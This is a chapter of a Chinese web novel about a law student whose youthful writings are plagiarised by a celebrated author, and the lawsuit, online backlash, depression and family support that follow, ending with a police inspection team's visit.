五年前,还在读初中的苏晏清作文屡屡获奖,在各报刊杂志上发表了几十篇的豆腐块,也挣了一笔小小的稿费。文学,可以说是他孤独生活的唯一精神出口。在这里,他不是被排挤孤立的“罪犯的儿子”,“被拐女人生的野种”,“没人要的变态白面鬼”……他是可以用笔墨操纵世界的王。 他写的第一部短篇小说叫《狂女日记》,写的是一个女孩误入杀人的游戏世界里,最后被逼成狂躁症的故事,差不多不到两万字。那时的他不懂什么叫男频,什么叫女频,什么叫头部网站,什么叫流量,只是随意点开一个叫“蔚蓝海岸美文站”的文学网站里,把文章投了进去,没想到编辑审核通过,竟然发表了出来。下面也有不少人发表了评论:“写得真好啊……” “作者年纪应该不大吧,写这样的文字,内心应该是痛苦的……” “文笔有些稚嫩,一看就是小孩子,不过少年可期……” “这是若干年后的第二个鲁迅,未来的文豪……” 受到了鼓舞的苏晏清后来就经常在课间、体育课等各个被排挤的时间里拿着笔记本写作,把对人间百态的思索,对姐姐的思念,对真情的向往,对黑暗与残忍的批判,以一支寻找光明的笔倾诉出来。在他笔下,姐姐是天下兵马大元帅,国朝第一女将军。望口村是邪恶的拜月教总坛,福利院是老住宅区改造的戏剧幻城……他利用每周三次的电脑课时间把文章投进“蔚蓝海岸美文站”里,在获得好评和点击率的同事,他也将那些文稿和网页截图一一保存在qq邮箱里。他总想着:“万一哪天和姐姐重逢,我就把这些一一给她看,告诉她,你的晏清弟弟没有给你丢脸,他会写文章,写出广受好评的文章。” 那几年因为笔耕不辍,苏晏清的诗歌、散文、小说累计超过了一百万字。高三那年因为怕耽误学习,他整整一年没有写作,潜心学习迎接高考。高考结束后又忙于打工赚钱,大一时为了应付英语四级和六级的考试,撰写论文,参与课题研究,他分身乏术,也无暇写作。待到大二时过了六级,又因为有武家和姐姐的支持,生活日益好转,他想重新开始写作时,发现“蔚蓝海岸美文站”已经关闭了。在网文竞争日益激烈的当下,小网站本就风雨飘摇,连天涯论坛都关闭了,何况时如此名不见经传的小小文学网站。 苏晏清虽然有些惆怅,但转念一想:“自己现在已经是法学生了,还是以专业课为主,那些小说什么的,就当个小时候的兴趣爱好吧!” 可是他做梦都没想到,当他再与这些熟悉的文字重逢时,居然时在别人的个人文集上!那些他用血泪凝结的心血之作,在这本《忧郁的槐花》上变成了:晋江文学城top一百之作,番茄巅峰榜蝉联榜首,朱自清散文奖银奖,汪曾祺华语小说奖二等奖,喜马拉雅点击率过千万有声书…… 这些……这些荣誉……财富……本该是属于自己的……自己的! 苏晏清的心跳得剧痛不已,死死按住胸口,才让喉头的呐喊不发生一点声音。他眼泪横流,流得根本站立不住,腰背贴着墙面软弱无力地瘫坐在地上。他死命地抓着头发,“咚咚咚”地捶打着胸口,他想问自己:“这一切是梦吗?是真的吗?那些荣誉、掌声、流量、认可……都是真实存在的吗?那个人……靠剽窃我的作品获得了成功,那我呢?我那些在贫困的泥淖里苦挣苦捱的日子,送外卖被刀捅,被骗去毒品交易现场,被变态画家性侵……又算什么?算什么!” 苏晏清无声地哭了很久,很久……直哭到心痛如绞,头痛欲裂,哭得冲到卫生间呕吐不止,哭得趴在马桶盖子上,双眼没了焦距,完全丧失了心神。 他就这样发呆到深夜,到黎明,到天光大亮,没有泪,没有恨,没有遗憾,只有空茫,如当年掉进地缝里一样的空茫。 武厉枭的声音温柔地响起,“黄奶奶,宝宝今天不上课,不用叫他,让他好好休息,补补觉。爸爸昨天送来了一个车轮奶酪,麻烦您给宝宝做个奶酪意面,他还没吃过呢。” “好,正好家里还有鲜基围虾,烩到意面里少爷肯定喜欢吃。” 苏晏清猛然惊醒,对,不能光是哭,还不到消沉的时候,必须……必须让该死的剽窃者付出代价。 他打开电脑,含着眼泪把《忧郁的槐花》里的所有文章和所获奖项,网络发表的平台一一核实。每核实一项,心里那一把刀就多扎进一寸。 苏晏清把qq邮箱里的初稿和当年在“蔚蓝海岸美文站”发表的截图一一拍照、导出、把《忧郁的槐花》里的文字和他的原文做对比,将人物、情节、台词、结构高度相似的地方一一列出来,并按照书上钱舟的邮箱打了一段话: 钱老师您好,我是《忧郁的槐花》中《天魔元帅》、《苍山雪冷秋慕寒》、《破茧年代》、《筑梦星途》等多部作品的原作者,五年前这些作品曾发布“蔚蓝海岸美文站”。不料近日看到这些作品竟然出现在您的个人专著里,还屡获殊荣。我无意曝光此事,也不想影响您的名誉和事业,只希望就著作权使用问题达成和解,一次性赔偿即可,我承诺保密,不再追究,也不对外公开。 苏晏清在附件中发了一份详细的《和解协议》,要求钱舟一次性支付他五年的著作权赔偿金20万元,以及签订后续的长期版税分成条款。 待他刚想点击发送时,苏晏清突然警醒过来,“不行,我一个无钱无势的穷学生,钱舟一定不会理会,搞不好反说我敲诈,连累姐姐和武家。如果想讨回公道,给钱舟一个教训,必须得依靠爸爸的法务集团。” 苏晏清想了想,拨通了武鹤翔的手机号,“爸爸,我的作品被人侵权了,我请求公司法务团的帮助……” 武鹤翔在了解情况后,立刻联系了法务团首席律师张正荣,让他全权处理钱舟和《忧郁的槐花》。张正荣夸奖苏晏清的完成网页截图和原稿与抄袭稿的对比保存的完整,并将这些与邮箱记录、时间戳进行公正。 “少爷,您的证据链做得非常完整,完全具备一个优秀律师的潜质。” “张律师,其实……王家和爸爸妈妈都有生意往来,我怕一旦开庭……” 张正荣严肃道,“少爷,这个官司不是私了赔偿那么简单的。据我所知,钱舟已经用您的文章去参评茅盾文学奖了。他多次用您的文章去参评各大文学奖项,不光是伤害您,还损害了社会公信力。所以这件事,必须要用法律解决,不光让他把书下架,退赔损失,开新闻发布会公开道歉,还要联系各大文学奖项的组委会,把那些荣誉都还给您。他剽窃的不是文字,是您该得的所有人生气运。” 接着,张正荣给钱舟发送了正式律师函,明确侵权事实、法律依据、赔偿底线和回复期限。 一周后,王芳华打电话找武厉枭,“亲爱的,中午有空吗?我在市局旁边的西餐厅,请你吃饭啊。” “吃饭就不必了,我很忙。” “喝杯咖啡的时间总有吧,我有几句话想对你说,老同学,咱俩是四年的室友,你总不会这么不给面子吧?” 武厉枭暗自叹了口气,“好吧。” 一身警服的武厉枭一走进西餐厅,大堂经理连忙出来迎接,“警察同志,有什么需要配合的?” “不用,谢谢,我找人。” “我们这儿……没有犯罪嫌疑人……” 王芳华连忙起身迎接,“厉枭……” 武厉枭暗自吩咐大堂经理,“那一桌我买单。”然后带着笑容走了过去,“芳华,今天怎么这么有空约我喝咖啡?” “想你了呗。”王芳华拿出一个精致的丝绒小礼盒,“我记得读书的时候你就睡眠不好,特意给你准备了一个真丝蒸汽眼罩,有按摩功能的,能快速入睡。” “芳华,你太客气了。”武厉枭冷静地把礼物推了回去,“我们有纪律,这我不能要。” “咱们可是闺蜜,大学时我没少吃你家的糕点,你还送过我护手霜呢。”王芳华妩媚地笑笑,“枭枭,有件小事我得求你帮忙……” “什么事?” “我那未婚夫老钱,就是个码字儿的书呆子,脑子又蠢,胆子又小。几年前他写作遭遇瓶颈期,一个字都写不出来,天天愁得薅头发,恨不得撞墙。他无意中去网上找灵感,发现了几篇被带病毒的小网站转载的小说,还挺符合出版社要求的。编辑催得紧,他想联系作者,可那些小网站又没标注作者名字和联系方式,他没联系上,就一着急,用了那些稿子。可谁知道,那些稿子,是咱弟弟的。哎呀,晏清这孩子,真是少年英才。我昨天把老钱好顿臭骂,我骂他岁数长狗身上了,猪油蒙了心,白活那么大岁数。” 武厉枭冷冷一笑,目光森冷地盯着她,眼珠一动不动,仿佛能看到她灵魂深处。王芳华莫名打了个冷颤,“枭枭,老钱收到了那封律师函,吓得心脏病都犯了。他没见过世面的人,什么都不懂,你就高抬贵手,放过他吧。我……我要不是知道自己怀孕,这婚约我要解除的……你说我这个命呀……挑来挑去的挑了个假作家真骗子……”王芳华用纸巾蒙着脸“呜呜呜”地哭起来,“厉枭……我没脸求你原谅老钱……只是求你看在孩子的份上……老钱有个三长两短……我和孩子怎么活呀……” “这件事是我爸爸公司的法务团去处理的,我不曾插手。你有什么事,就去跟法务团律师们协商。我还有工作,先走了。” 武厉枭起身就要离去,王芳华连忙拉住了她,“厉枭,老钱真的不是故意的,他就是在网上随便找的。你能不能跟晏清说说,不要告他了?” “他违法了。” “那小网站上没有晏清的名字和联系方式,要不老钱肯定会联系晏清的。” “没看到,不是剽窃的理由。” “厉枭,看在老同学的份上,放过我俩一次吧。大学时咱们那么好……”王芳华可怜巴巴地哭道,“我家的事你也知道,我哥虎视眈眈地想夺回公司,如果老钱真的……我就完蛋了……” “芳华,这是我真帮不了你。”武厉枭刚要离开,王芳华拉住她,“扑通”一下跪到她面前,“厉枭,你帮帮我,不要告老钱,我们会赔偿的,好不好?” 武厉枭拉起她,“你别这样,这样对你我影响都不好,有监控。既然你有诚意赔偿,就联系我爸爸公司的法务团。” “我想见见晏清,行吗?” “不可能。”武厉枭眼色一凛,断然拒绝,“我弟因为这件事受到了很大的伤害,你不能再刺激他了。” “厉枭,本来这件事很小,为啥要扩大化呢?那些文章,算老钱买的,我们给晏清一笔稿费,把这件事了解,好不好?” 武厉枭冷冷一笑,按捺住心头怒火,“钱舟靠着那些文字风光无限的时候,晏清在做什么?在为了一千五百块钱冒充你的小男友,被各种言语侮辱和轻薄。这些伤害是光靠钱能衡量的吗?我们家别的不要,只要公道。” 武厉枭决绝离去,王芳华气得跳脚大骂,“老钱要是有个好歹,我就去荣宝斋门口上吊!” 三天后,各大媒体的头条热搜上的新闻都是:知名作家钱舟失踪,疑似被剽窃侵权官司逼得投河自杀,尸骨无存。 武鹤翔的法务团迅速压下了舆论,让所有的不和谐声音没有机会发酵,膨胀。 王芳华也没真的去荣宝斋武家老店闹事,就是在朋友圈和各个微信群里发了一大串悼念钱舟的话,哭诉自己年纪轻轻做了未亡人,哭诉孩子还没出生就没了爸爸。 钱舟的各大社交账号里每天都有数万粉丝留言悼念,赞美他文采出众,平易近人,品行高尚,把他夸成了古今绝无仅有的第一完人。 山大中文学院也举办了“钱舟老师粉丝悼念会”,不少自发来捐献花圈的学生失声痛哭,有人当场暴怒:“是谁说钱老师抄袭的!我们要把那个人找出来,让他跪在钱老师遗像前,给钱老师磕头道歉!” “对,听说是哪个权贵家的什么养子,发了个律师函……逼死了这么好的人,他罪恶滔天!” “钱老师是我文学路上的明灯,是黑暗海岸线的上的灯塔,是谁那么恶毒,毁了他……” “钱老师那样的正人君子,怎么可能抄袭?蹭热度也该有个底线!” “呸!不要脸!这种仗势欺人的衙内恶少,该下地狱……” “对,下地狱……” 苏晏清回学校去上课了,带着一颗哀莫大于心死的灵魂。 他搬离了原宿舍,住进了男生公寓里那间死过人的被长期空置的“鬼屋”。 他每天默默地一个人上课,下课,去图书馆自习,吃饭,除了偶尔用一两个字回复一下武厉枭的信息,其他时间一句话也不说。 外面校运动会搞得锣鼓喧天如火如荼,苏晏清则请了假,一个人躲在宿舍里拉着窗帘默默地给刚刚还汩汩流血的伤口涂碘伏。 李国君和刘光明借着上厕所的机会找到他,“清哥你怎么了?为啥搬离宿舍?”他们已经接到了学校保卫处的电话,说苏晏清深夜一个人在天骄湖边徘徊,意图投湖自尽,让保卫处的人救下来了,通知室友们对他加强看管,多多开导。 从那天起,山大表白墙上流传着“法学院之光梦游”,“法学院之光被鬼附身”,“苏晏清被钱舟的怨鬼索命”的谣言。 “清哥,我们有什么做得不对的,你说呀,我们改!” “我们哪里做得不好,你打我们骂我们都不行,别绝交啊!” “就是啊,你这样太不够意思啦!是不是嫌我们吃了你的卤肉?” “清哥,最近总有中文学院的人来咱们宿舍打听你……问我们你的文章是不是写得特别好……我和光明把他们骂走了……他们不敢来骚扰你了……” “晏清,跟我们一起去吃饭吧!你都多长时间没吃正经吃饭了?你看你瘦得……我们请你吃大肘子好不好?” 苏晏清摇摇头,皮肤瓷白毫无血色,眉眼浓黑而空洞。他不敢让他的朋友们知道他夜夜从噩梦中惊醒,咬着被子哭到天亮,不敢让朋友们知道他每晚躲在卫生间里靠自残缓解痛苦,证明自己还活着。 “清哥,你到底要干啥呀!”李光明揪着他道,“你有事就和我们说,你学着信任我们行不行?以前都是我们依赖你,你也依赖我们一次行不行……” “晏清,咱们是兄弟,做兄弟有今生没来世!中文学院那帮禽兽再来骚扰你,我俩就干死他们!你别一个人躲着……” “清哥,你……是生病了还是中毒了……”李光明急得扳着苏晏清的脸左看右看,“你这眼珠子都抠搂着,眼眶子雀青……不行啊,你这得上医院……” “对,晏清啊,你得去医院!”刘国君半蹲下来,“明儿,把你清哥搭到我背上,我背他去医院!” “不用了,没必要了……”苏晏清默默推开他们,又一个人躲进死过人的宿舍里。李光明和刘国君不死心,隔三差五地用杆子往他宿舍里阳台上放吃的,往他门口放牛奶和水果。苏晏清也会收进去,但吃进肚子里的寥寥无几。 直到他被武厉枭揪着后脖颈塞进路虎车,拉到福龙小区的大平层里,他胳膊上、腿上那一条条的伤疤、刀痕、紫黑的凛子,无声地宣告着他日益严重的抑郁症。 “你这完蛋孩子!”武厉枭气急败坏地往他屁股上“啪啪”拍了两下,“你为啥不接我电话!你知道不知道姐姐找你快找疯啦!你知道不知道爷爷都快吃救心丸了!” “姐姐……”苏晏清突然含泪跪在地上,“我想离开武家……” “为什么?” “我……我好不了啦……”苏晏清泪水长流,“我好痛苦……姐姐……我以为我能自救……可是我……我辜负了你,辜负了爷爷和爸爸妈妈的信任……我……他们都说……说我逼死了人命……” 武厉枭把他扶起来,抱住了他,“你听我说,这不是你的错……”她的眼泪也不由自主地滴落,“爸爸妈妈会压下舆论,为你讨回公道的……” “不……姐姐,武家救我养我,我反而以怨报德,罪孽深重……我骨子里……就是个坏人……我的罪恶……洗不清了……”苏晏清重新跪下,拿出口袋里的银行卡,“这里有十五万块钱,除了你给我的生活费结余,还有爷爷和爸爸妈妈给我的零花钱,以及我参加课题的奖金,和发表论文的稿费,还有那个……案子的赔偿金,密码……是你的生日……姐姐……求你收下……” “这是你自己挣的,我怎么可以收?” “我……我这种人,没有前途,没有未来……我……我不能毁了你……毁了武家……”他突然喷薄出一大口鲜血,眼前一黑,如一株被砍倒的细瘦的春杨般,痛哭着晕厥过去。 苏晏清再次醒来时,他已经回到了武家老宅的卧室里。武月直、武鹤翔、王玉梅、黄爷爷黄奶奶,都一脸慈爱地围在他身边。武厉枭把他扶起来,帮他放好枕头,盖好被子,“宝宝,你没事了,回家了……” 武月直抱住了他,心疼地老泪纵横,“你这傻孩子,受了那么大委屈,跟爷爷说呀!自己躲到那死过人的屋子里……顶什么用……”他抚摸着苏晏清满是伤痕的胳膊,“你要是割到了脉搏,爷爷就是白发人送黑发人啦……” 武鹤翔也哽咽道,“晏清,爸爸帮你跟学校办了休学手续,你放心,钱舟一定没死!生意场上这种老赖借着假死的名义躲到外地玩失踪的手段太多了。这不过就是他放出来的烟雾弹!” 王玉梅握住苏晏清的手,“晏清,你是爷爷的孙子,是我们的儿子,是枭枭的弟弟,我们是一家人,爸爸妈妈不会让你离开武家的。为人父母,是不会抛弃自己的孩子的……” 黄爷爷也凑过来,“少爷,老掌柜和先生太太都是最好心的人,你就安心在这儿住下去吧,别再提走不走的事了。” 黄奶奶也抹着眼泪道,“大小姐,我活了这么大岁数,怎么不知道这个理儿呀!少爷小时候写的好文章,没给他换来钱和名,被那个坏人抄去,换了钱和名。先生找律师打官司没错呀,为啥现在都在骂少爷?有没有天理了?我真的不信那种人舍得死,他蒙了那么多钱,且得找地方享受呢……” 苏晏清眼里的光一点点回来了,他挣扎着想起身,却身心俱疲,眼前一阵阵发花,最终又倒在枕头上,“谢谢……谢谢……” 武厉枭忙端过热水来喂给苏晏清,“宝宝,派出所的人已经去查了,钱舟的户口没注销,没有死亡证明,现在正在监控他的资金流向。这种假死的事对警察来说不是难事,一查一个准。你没必要为了这样一个烟雾弹折磨自己。” “枭枭说得对,”武鹤翔拍了拍苏晏清的肩膀,“张律师已经向法院提交:钱舟涉嫌著作欺诈,非法获利,恶意逃匿。”他语重心长道,“孩子,说起这件事,爸爸也要批评你几句。你是男孩子,要学会大大方方的,有困难向爷爷,向爸爸妈妈和姐姐求助。你把自己封闭起来,躲进那个死过人的小屋子里就能解决问题吗?你把自己划伤就能让那个伤害你的恶人伏法吗?真的,爸爸做梦也没想到,我每年花上几百万养着个法务团,家里还有个公安系统的二级英模,我儿子还能被人欺负成这样!” 武月直不满地瞪了一眼武鹤翔,“晏清病着呢,你要训他,什么时候不能训?非要在他生病时大呼小叫的?” 王玉梅赶紧拉了一下武鹤翔,陪着笑脸道,“爸,他不是那个意思。他是说,法院已经立案了,晏清做的证据链,会走司法程序公开。”她握着苏晏清的手,“孩子,你一手做起来的荣宝斋武家老店官房账号,就是最好的舆论阵地。” 苏晏清擦了擦腮边的泪珠,“妈妈,我明白了,有官方媒体的支持,民众自然会知道:抄袭哪怕对方去世,也不会被一笔勾销。”他又看向武鹤翔,“爸爸,您批评得对,是我不好……” “宝宝,”武厉枭拉开苏晏清的袖子,“姐姐今天才知道,你身上有这么多伤……你以后不可以再做这种事了……”她搂着苏晏清哽咽道,“为了这么多爱你的人,也不要伤害自己,行吗?宝宝,你忘了《鲁冰花》吗?答应姐姐,十四年前,我失去了你一次,十四年后,别让我再失去你……我不要做古茶妹……” 苏晏清肺腑内一阵痉挛,“好……姐姐,我答应你……” 夜里,武厉枭来找苏晏清,拿出一枚实心的老银五福临门长命锁,“宝宝,这是我百天的时候,爷爷给我的。现在,送给你。” 苏晏清掂了掂,差不多有六两重,“姐姐,这太贵重了,我不能收……” “听话,”武厉枭给他戴在脖子上,搂着他哭道,“这锁……我应该早就给你戴上……在你四岁那年的时候……保你平安,长命百岁……” 苏晏清的眼泪滚滚而落,“姐姐……对不起……我再也不伤害自己了……” “宝宝你等一会儿……”武厉枭端来一个托盘,里面是一大碗手擀银丝面和肉酱、黄瓜蓉、萝卜蓉、豆芽沫、花生碎等十几种菜码,“你小时候,刚冒出两个透明小牙尖,就总是在我们吃饭时嗯嗯啊啊地叫,特别馋的样子。外婆说肉酱太咸,让王婶婶用二八酱做肉卤。你还不会嚼黄瓜丝和萝卜丝,我就用擦板擦成蓉,给你拌在面里。宝宝,尝一尝……” 武厉枭喂了苏晏清吃了一口,二人的眼泪同时落了下来。苏晏清抽噎了好半天,点头道,“好吃……” “好吃……就多吃些……以后……姐姐还给你做……”武厉枭鼻子一酸,摸着苏晏清胳膊上的伤痕,细细地亲吻着,用嘴唇感知他的伤痛。 “姐姐……不要亲……很脏,很丑……” “不脏,不丑……一定很痛,是不是……” 她突然整个人投入苏晏清怀里,搂住他的脖子,把脸靠在他细薄纤纤的肩上,泪眼婆娑地哀求着,“宝宝,别再伤害自己了,就当是为了姐姐……好不好……我不要当古茶妹……宝宝……抱抱姐姐……好不好……” “姐姐,我错了……”苏晏清心如刀割,紧紧地把武厉枭抱在怀里,眼泪噼里啪啦地砸在她的头发上,“对不起……是宝宝错了……宝宝再也不让你伤心了……姐姐对不起……对不起……” 三天后,苏晏清勉强能下床走路了,就扶着病体来到荣宝斋法务团办公室。张正荣一看到这瘦成了纸片人的少年吓了一跳,赶紧扶着他坐下,“少爷……你病还没好……怎么亲自来了?” 其他律师也纷纷过来打招呼,“少爷好……” “少爷,您来这儿,老先生知道吗?武总知道吗?大小姐知道吗?” “少爷,我们开车送您回去休息吧……” 苏晏清说话的声音依旧虚浮无力,“张律师,我今天……是以法学生的身份……来向各位前辈学习……侵权案的官司怎么处理……请您把我当作律师助理一般看待,给我这个学习的……机会……” “少爷,您现在的身体……” 苏晏清勉强站了起来,朝张正荣微微一鞠躬,“张律师,从现在开始,请叫我晏清,我是您的助理,请允许我参与到这个案子中。” “好……晏清……” 接下来的日子,法务团调取了《忧郁的槐花》自出版以来的印刷数量、销售数据、获奖记录、有声书授权合同、电子版分成协议等。他们惊讶地发现,钱舟凭借剽窃作品获得的版税、奖金、讲座出场费、影视改编意向金居然高达两百万!为防止钱舟和王芳华在诉讼期间转移财产、销毁证据或继续销售侵权书籍,苏晏清在张正荣的指导下起草了《行为保全申请书》,要求法院查封其相关账户,责令其立即停止销售并召回已流入市场的《忧郁的槐花》。 一封封律师函,一张张法院传票如雪片般地飞到王芳华家中,她以养胎为名,拒绝出庭,把官司丢给代理律师全权负责。 一审结果很快宣判了。市中级法院判令钱舟立即停止复制、发行、信息网络传播涉案侵权作品,召回并销毁全部库存《忧郁的槐花》,在不少于三家全国性媒体及本人社交账号上公开赔礼道歉,消除影响。 根据《著作权法》第五十四条,对故意侵犯著作权且情节严重的,可以按照赔偿数额的一倍以上五倍以下给予惩罚性赔偿。本案中,钱舟将他人作品署上自己姓名参加评奖并获利,主观恶意明显,情节严重。法务团将以侵权人违法所得为主要依据,计算出基数后,请求适用三倍惩罚性赔偿。庭审过程中的公证费、律师费、差旅费、专家辅助人费用,判决中明确由被告承担,共计人民币650万。 判决下来当天,法务团立即申请强制执行,查封钱舟名下资产、冻结钱舟全部银行、微信、支付宝、证券、保险账户,查封房产、车辆、股权。追查诉讼前后转移给王芳华或其他亲友的财产,主张恶意转移,申请撤销并追回。执行到期债权:出版社、平台、改编方未结款项,直接划扣至法院账户。将钱舟纳入失信被执行人,禁坐飞机高铁、住星级酒店、贷款、办信用卡。通报文旅、教育、作协、出版社,终身禁入行业、禁评奖、禁出版。此外,张正荣将判决书副本寄送至曾授予钱舟奖项的评、机构及合作出版社,要求他们撤销钱舟所获所有奖项和荣誉。 面对武家法务团的步步紧逼,王芳华也彻底撕破脸了,每天在网上拍卖惨视频:不是披头散发捂肚子,就是哭到发抖,“我只是想保住孩子,武家要逼死我们母子……钱舟就算有错,也罪不至死,你们赶尽杀绝……苏晏清,你就是个仗势欺人、逼死孕妇丈夫的恶人……”不但如此,王家还雇了一大批社会闲散人员去荣宝斋武家老店、市公安局、山大门口闹场。他们只摆着花圈,举着“武家仗势欺人”的牌子,坐在地上大哭大闹,故意引路人拍视频,王芳华一身披麻戴孝,坐在地上一会儿腹痛,一会儿抽筋,一会儿声称要流产,引得路人频频拍照。 二审开庭当天,王芳华的辩护律师拿出了一沓钱舟欠王芳华娘家的欠条。其中包括:钱舟炒股、买基金投资失败,投资超市结果老板卷款跑路……累计七百万。第二天,王芳华又办了一场声势浩大的葬礼,并当众出示钱舟的死亡证明和被注销的户口,声泪俱下地控诉武家欺凌孤儿寡母,草菅人命。不但如此,她还给省公安厅,国家公安部写举报信,控诉武厉枭仗势欺人,不顾影响,恶化警群关系,为黑恶势力充当保护伞,请求派督察和工作组下来调查。 赵淮晋心急火燎地找到武厉枭,“枭枭,我们分局的人都接到了风声,省厅要派工作组到市局查你。” 武厉枭淡然道,“我也听说了。” 赵淮晋握住她的手道,“枭枭,你听哥说,一旦工作组派下来调查,不死都得扒层皮,好不好的,咱们当警察的,本身就是执法者,被查这么一顿,以后还哪有威信,怎么震慑犯罪嫌疑人?” “清者自清,我不怕调查。” 赵淮晋松开了她的手,叹气道,“说来说去,你就是为了苏晏清。” “我弟弟受了那么大委屈,我当然要挺他。”武厉枭坚决道,“我知道,王芳华是群众,我是警察,一旦有矛盾,警察是弱势一方。但这件事涉及到我弟弟,我必须支持他。哪怕被调查,哪怕脱警服我也不怕。跟警察这个职业比起来,我先是姐姐。” “你是英雄啊!”赵淮晋痛心道,“你愿意被人家说英雄仗势欺人吗?你听哥一句话,还是撤诉吧,接受王芳华的和解诉求,拿到赔偿金就算了。别把事情闹大。” “是王芳华叫你来的吧?”武厉枭冷冷道,“你要是找我吃饭,我会很高兴,你要是替她说情,就免开尊口吧。” “我是为你好。你和王芳华是老同学,大学四年校友,当年你俩好得连杯奶茶都一起喝,今天何苦撕破脸。你父母的公司都和王家有生意往来,何必把关系处绝了呢?” “关系好?关系好就可以欺负我弟,剽窃他心血还网暴他?王芳华自己也是读过警校的人,她在网上颠倒是非黑白,兴风作浪,各种作妖,简直可恶至极!” “你有没有想过,你被人骗了?”赵淮晋惋惜道,“枭枭,五年前,苏晏清才十四岁,一个十几岁的孩子,又没有私人电脑,怎么能写出那么多好文章呢?说不定,那些文章也是他去网上扒下来的!” “不可能!”武厉枭一口否定,“我相信我弟,他不可能剽窃!他从小就聪明,四岁的时候就会背诵一年级的课文。他三岁的时候就能自己编故事。我看过他那些原稿的笔记,是他在孤儿院时被人欺负,被人排挤时创作的。” “网上的那些话你看到了吗?十几岁的孩子,能写出获朱自清散文奖的散文吗?能写出点击率过千万的有声书吗?你和你们家的法务团不要被感情蒙蔽了头脑,被耍得团团转。” “赵淮晋,你凭什么这么说我弟!”武厉枭怒道,“我弟只是个天真无邪的小孩子!” “孩子?孩子会把十六岁犯罪分子打成无期?枭枭你信我的,苏晏清远没有你看到的那么简单!” “你根本就不了解我弟,他英语六级考了六百多分。他还跟我说,他要争取大四获得推免直博的资格,他那么努力那么上进,你不可以诋毁他!” “那只是人设!人设!他故意在你面前经营的人设!” “我不管别人怎么说,世界上对我最好的男人,除了爷爷和爸爸,就是我弟弟!我再说一遍,清宝宝他只是个单纯善良的小朋友,没什么心机。因为文章被剽窃的事,他被网暴至抑郁症发作,躲到死过人的屋子里自残,命都快送掉了,你凭什么还这么侮辱他!” “枭枭,我不希望你为人作嫁衣,最后自毁前途!我真不明白你图他什么?就图他那张妖里妖气的脸?就把你迷得这么神魂颠倒的?” “赵警官,你我本是大学好友,但你今天这样污蔑我弟,你我的情意到此为止!希望你好自为之。” 武厉枭转身离去,赵淮晋气急败坏地吼道,“枭枭,你不认我是你哥,你也是我妹妹,一辈子都是!哥只希望你擦亮眼睛,看清楚究竟是谁在剽窃,谁在卖惨装可怜,谁在利用你!” 督察组进驻市局第一天受到了热情洋溢的接待,局长韩厉带着党委书记徐伟,副局长萧海,政委焉杰齐齐在大门口迎接。 “欢迎省厅领导莅临指导工作。” 工作组组长何生保笑道,“韩局,太客气啦!咱们都是老朋友了。” 韩厉把工作组待到接待室后,叫萧海拿过几个玻璃杯,用牡丹花的铝制暖壶给他们每个泡上一壶茶。“粗茶一盏,不成敬意。” 何生保一喝,果然是粗茶,实打实的高碎,还是陈年的!“我们局经费紧张,这不吗,到现在还没安上饮水机。不过您各位放心,这水是为了招待领导们特意买的农夫山泉桶装水。” “我们来市局,也是为了工作,临行前领导嘱咐过了,不许加重地方同志们的负担。” “多谢领导们体恤。我那边还有个专案组紧急会议,就容我失陪了。后面的工作,老徐,你给领导们汇报一下。” 韩厉敬了个礼后匆匆告辞,徐伟吩咐萧海道,“老萧,你把给领导们准备的水果端上来。领导们远道而来,解解渴。” 萧海答应一声,不一会儿端来了几个香蕉几个苹果,一碟花生一碟瓜子,“各位领导请用。这苹果是我岳母昨天从乡下老家送来的,昨天早上还在树上呢,没打农药,保甜。” 工作组成员面面相觑,“咱们还是谈谈工作吧,徐书记,麻烦你把准备好的材料拿给我看一下。” “材料早就准备好了,老萧,你去我办公室找一下给领导们拿过来。实在不巧,各位领导,我今天早上刚接到通知,清净山风景区那边印度人闹事,涉及外交事宜,省厅那边让我去处理。容我失陪!” 徐海敬个礼也告辞了。政委焉杰道,“不好意思啊各位领导,一线就是这样,整天忙得脚打后脑勺,吃饭睡觉都得见缝插针。” 何生保笑道,“理解理解,我们几个都是从一线过来的。”他看了一眼副组长蒋方明,“是不是老蒋?你记不记得咱们年轻时在一线的时候,忙得整天刷牙洗脸的工夫都没有,老局长一看到咱们就说:一个个跟泥猴似的,将来怎么找对象呀……哈哈哈……” 焉杰附和道,“感谢领导们体谅,这也到中午饭点了,咱们去食堂吃饭吧,吃饱了才好做事,是不是?” 何生保想了想,“也好,尝尝市局同志们的手艺。” 焉杰带着工作组走进食堂,高声唤着,“大姐,大肘子和辣子鸡炖好了吗?” “炖好了,喷喷香!” 不多时,三道硬菜摆上了桌:酱焖肘子、辣子鸡丁、红烧鱼,还有两个素菜:鸡蛋炒西红柿、醋熘白菜,外加一道海带排骨汤。焉杰略有些不好意思道,“您各位别嫌弃,我们局经费紧张。平时干警们的餐补车补发着都困难,食堂里……油水也不多。这几道肉菜,还是厉枭那丫头自掏腰包买的。” “谁?”何生保嘴里的肘子悬没噎着,“你说谁?” “厉枭啊,一队队长武厉枭,就是各位要调查的人。”焉杰忙解释道,“是这样的。我们食堂的伙食……是有些简薄……但干警们个个年轻,都是二十啷当岁的大小伙子,风里来雨里去的,拿命查案,没有油水怎么行。所以啊,小武就经常自掏腰包买鱼买肉的到食堂里,给一队的那些小子加餐。您是不知道那群男孩子,一吃肉跟狼似的,疯抢……扯远了扯远了……这不是知道您各位要来吗?我就跟厉枭商量了一下,暂时从她给队员们买的肉里挪一部分,招待各位领导。至于钱您放心,就算局里账面上没钱,我发了工资用自己的钱还给小武,绝对不能让一线干警吃亏。” 何生保的脸“呱哒”一下子撂下来了,“老焉,你也胡闹!大家伙吃什么我们吃什么,怎么还能跟一线的同志们抢肉吃!这样,这顿饭,我们自己付钱。”他招呼着工作组,“来来来,咱们AA制,先去财务处扫码,再动筷子。” “哎呦哎呦,各位领导各位领导,您不是骂我吗?这几天的饭伙,我们还是管得起的。” “老焉,财政不是给你们拨款了吗?怎么还把日子过成这样了?” “您各位不知道我们一线的难!抓贼查案,多大的开销!受伤看病不要钱?汽车加油不要钱?配枪保养不要钱?牺牲了的那些同志,家里有老有小的,生养死葬的不要钱?我们几个局领导办公室里的空调都停了,后勤节省点儿,一线吃好点儿……” 正说着,食堂大姐端着一盘红乎乎的不知是什么玩意儿的小吃放到了饭桌上,“几位领导远道而来,没啥招待的。这个也算我们食堂一特色,请各位品尝。” 萧海连忙使了个眼色,“胡闹,这个东西怎么能拿来招待领导?快撤下去!” “别忙!”何生保拦住了,“这是什么呀?” 